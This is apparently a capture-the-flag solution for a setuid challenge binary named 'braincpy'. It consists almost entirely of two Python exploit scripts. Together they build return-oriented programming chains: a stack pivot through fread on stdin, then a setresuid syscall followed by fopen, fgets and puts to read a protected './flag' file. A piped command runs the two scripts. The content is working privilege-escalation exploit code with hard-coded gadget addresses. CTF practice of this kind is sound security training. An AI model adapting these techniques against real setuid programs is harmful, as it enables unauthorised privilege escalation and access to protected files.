braincpy

exploit1.py

from struct import pack
import os


def p(x):
    return pack('<I', x)

# 080e5080 <_IO_2_1_stdin_>:
stdin_addr = 0x80e5080
# 080a94c0 <fread_unlocked>:
fread_addr = 0x80a94c0

popret = 0x80483a8
pop2ret = 0x80483a7
pop3ret = 0x80489dc
# 0x080728dd: pop ebp ; pop ebx ; pop esi ; pop edi ; ret  ;  (1 found)
pop4ret = 0x080728dd

leaveret = 0x80481d1
read_addr = 0x8059870
data_addr = 0x80e7060


payload = ''
payload += p(fread_addr)
payload += p(pop4ret)
payload += p(data_addr)
payload += p(0x10101010)
payload += p(0x10101010)
payload += p(stdin_addr)
payload += p(leaveret)
payload += 'a'*(88-len(payload))
payload += p(0x8086c12)  # -(96-0xa)
payload += p(0x80df815)  # add esp, dword [ebp+0x0A] ; ret  ;
os.execl('./braincpy', './braincpy', payload)

exploit2.py

from struct import pack


def p(x):
    return pack('<I', x)

# Set target uid
uid = 1014

# 0x0805b5c0: int 0x80 ; ret  ;  (1 found)
syscall_addr = 0x0805b5c0

# 0806c790 <_IO_new_fopen>:
fopen_addr = 0x806c790
# 080a94c0 <fread_unlocked>:
fread_addr = 0x80a94c0
# 0806fbb0 <fgets_unlocked>:
fgets_addr = 0x806fbb0

# 08048f40 <_IO_puts>:
puts_addr = 0x8048f40
# braincpy : 0x80c22e6 --> 0x6e690072 ('r')
# r_str = 0x80c22e6
# 0x080beb89: pop eax ; ret  ;
pop_eax_addr = 0x080beb89
# 0x080516cb: pop ebx ; ret  ;
pop_ebx_addr = 0x080516cb
# 0x0805ae16: pop ecx ; pop ebx ; ret  ;  (1 found)
pop_ecx_ebx_addr = 0x0805ae16
# 0x0805adec: pop edx ; ret  ;  (1 found)
pop_edx_addr = 0x0805adec
# 0x0808ed21: mov dword [edx], eax ; ret  ;  (1 found)
mov_eax2edx_addr = 0x0808ed21

popret = 0x80483a8
pop2ret = 0x80483a7
pop3ret = 0x80489dc
# 0x080728dd: pop ebp ; pop ebx ; pop esi ; pop edi ; ret  ;  (1 found)
pop4ret = 0x080728dd
data_addr = 0x80e7060
buf_addr = data_addr + 0x300


str_addr = 0x80c208f
flag_str = data_addr + 4*24
r_str = data_addr + 4*26
fd_addr = data_addr + 4*20


payload = ""
payload += p(0xdeadbeaf)
payload += p(pop_eax_addr)
payload += p(164)
payload += p(pop_ecx_ebx_addr)
payload += p(uid)
payload += p(uid)
payload += p(pop_edx_addr)
payload += p(uid)
payload += p(syscall_addr)
payload += p(fopen_addr)
payload += p(pop2ret)
payload += p(flag_str)
payload += p(r_str)
payload += p(pop_edx_addr)
payload += p(fd_addr)
payload += p(mov_eax2edx_addr)
payload += p(fgets_addr)
payload += p(pop3ret)
payload += p(buf_addr)
payload += p(0x100)
payload += p(0xdeadbeaf)
payload += p(puts_addr)
payload += p(0xdeadbeaf)
payload += p(buf_addr)
payload += "./flag\x00\x00"
payload += "r\x00\x00\x00\x00"

print payload

-rwsr-sr-x 1 ctf  ctf  694K Jun  4 09:27 braincpy
uid=1014(ctf) gid=1017(ctf) groups=1017(ctf)

$ python exploit2.py| python exploit1.py